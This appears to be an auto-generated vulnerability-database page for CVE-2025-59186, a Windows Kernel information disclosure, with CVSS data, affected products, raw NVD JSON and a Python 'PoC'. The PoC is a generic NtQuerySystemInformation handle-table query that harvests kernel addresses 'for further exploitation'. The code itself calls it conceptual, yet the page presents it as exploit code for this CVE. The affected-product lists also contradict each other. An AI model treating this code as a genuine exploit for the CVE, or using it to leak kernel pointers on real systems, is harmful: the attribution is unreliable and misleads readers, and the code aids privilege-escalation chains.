Security Vulnerability Report
中文
CVE-2025-59186 CVSS 5.5 MEDIUM

CVE-2025-59186

Published: 2025-10-14 17:15:57
Last Modified: 2025-11-05 21:12:05

Description

Exposure of sensitive information to an unauthorized actor in Windows Kernel allows an authorized attacker to disclose information locally.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 (所有版本)
Windows 11 (所有版本)
Windows Server 2019
Windows Server 2022
Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59186 - Windows Kernel Information Disclosure PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation approach for the # Windows Kernel information disclosure vulnerability. # Note: Actual exploitation requires specific kernel structures and offsets # that vary across Windows versions. import ctypes import struct import sys # Windows API constants GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 3 class KernelInfoDisclosure: def __init__(self): self.ntdll = ctypes.WinDLL("ntdll.dll") self.kernel32 = ctypes.WinDLL("kernel32.dll") def trigger_info_leak(self): """ Trigger the Windows Kernel information disclosure by sending a crafted system information query that exposes sensitive kernel memory contents. """ # System Information Class that triggers the vulnerable code path SystemExtendedHandleInformation = 64 # Allocate buffer for system information query buffer_size = 0x100000 # 1MB buffer buffer = ctypes.create_string_buffer(buffer_size) return_length = ctypes.c_ulong(0) # NtQuerySystemInformation - vulnerable API call # The vulnerability exists in how the kernel handles certain # information classes and returns data to user-mode callers status = self.ntdll.NtQuerySystemInformation( SystemExtendedHandleInformation, buffer, buffer_size, ctypes.byref(return_length) ) if status == 0: # STATUS_SUCCESS print(f"[+] Successfully retrieved system information") print(f"[+] Return length: {return_length.value}") # Parse the leaked kernel information # Sensitive data may include kernel pointers, token addresses, # and other privileged information leaked_data = buffer.raw[:return_length.value] return leaked_data else: print(f"[-] Query failed with status: 0x{status:08X}") return None def analyze_leaked_data(self, data): """ Analyze the leaked data to extract sensitive kernel information. """ if not data: return # Extract kernel addresses and sensitive pointers # These can be used for further exploitation kernel_addresses = [] for i in range(0, len(data) - 8, 8): value = struct.unpack('<Q', data[i:i+8])[0] # Check if value looks like a kernel address # Kernel addresses on x64 typically start with 0xFFFF... if (value >> 48) == 0xFFFF: kernel_addresses.append(value) print(f"[+] Found {len(kernel_addresses)} potential kernel addresses") for addr in kernel_addresses[:10]: print(f" Kernel address: 0x{addr:016X}") def main(): print("=" * 60) print("CVE-2025-59186 - Windows Kernel Info Disclosure PoC") print("=" * 60) exploit = KernelInfoDisclosure() leaked_data = exploit.trigger_info_leak() exploit.analyze_leaked_data(leaked_data) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59186", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:57.017", "lastModified": "2025-11-05T21:12:05.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of sensitive information to an unauthorized actor in Windows Kernel allows an authorized attacker to disclose information locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59186", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}